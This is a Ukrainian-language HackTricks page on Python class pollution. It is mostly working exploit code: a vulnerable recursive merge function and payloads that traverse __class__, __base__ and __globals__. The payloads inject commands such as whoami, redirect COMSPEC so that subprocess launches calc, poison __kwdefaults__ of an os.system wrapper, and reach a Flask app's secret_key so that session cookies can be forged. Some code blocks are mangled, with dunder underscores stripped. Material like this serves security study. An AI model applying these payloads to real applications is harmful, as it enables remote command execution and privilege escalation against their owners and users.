Class Pollution (Python's Prototype Pollution)
Last updated
Last updated
Вивчайте та вправляйтесь в хакінгу AWS: Навчання AWS Red Team Expert (ARTE) від HackTricks Вивчайте та вправляйтесь в хакінгу GCP: Навчання GCP Red Team Expert (GRTE) від HackTricks
Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Перевірте, як можливо забруднювати класи об'єктів рядками:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Забруднення інших класів та глобальних змінних через <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Перезапис <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** - це спеціальний атрибут усіх функцій, згідно з [документацією Python](https://docs.python.org/3/library/inspect.html), це "відображення будь-яких значень за замовчуванням для параметрів тільки за ключовими словами". Забруднення цього атрибуту дозволяє нам контролювати значення за замовчуванням параметрів тільки за ключовими словами функції, це параметри функції, які йдуть після \* або \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Отже, якщо ви можете здійснити забруднення класу над об'єктом, визначеним у головному файлі Python веб-сайту, але клас визначено в іншому файлі, ніж головний. Оскільки для доступу до __globals__ у попередніх завантаженнях вам потрібно отримати доступ до класу об'єкта або методів класу, ви зможете отримати доступ до глобальних змінних у цьому файлі, але не в головному. Отже, ви не зможете отримати доступ до глобального об'єкта Flask app, який визначив секретний ключ на головній сторінці:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
У цьому сценарії вам потрібен гаджет для обходу файлів, щоб дістатися до основного, щоб отримати доступ до глобального об'єкту app.secret_key
для зміни секретного ключа Flask та можливості підвищення привілеїв знавши цей ключ.
Пейлоад, подібний до цього з цього огляду:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Використовуйте цей пейлоад, щоб змінити app.secret_key
(назва в вашому додатку може бути іншою), щоб мати змогу підписувати нові та більш привілейовані куки у фреймворку Flask.
Також перевірте наступну сторінку для отримання більше гаджетів лише для читання:
Python Internal Read GadgetsПеревірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)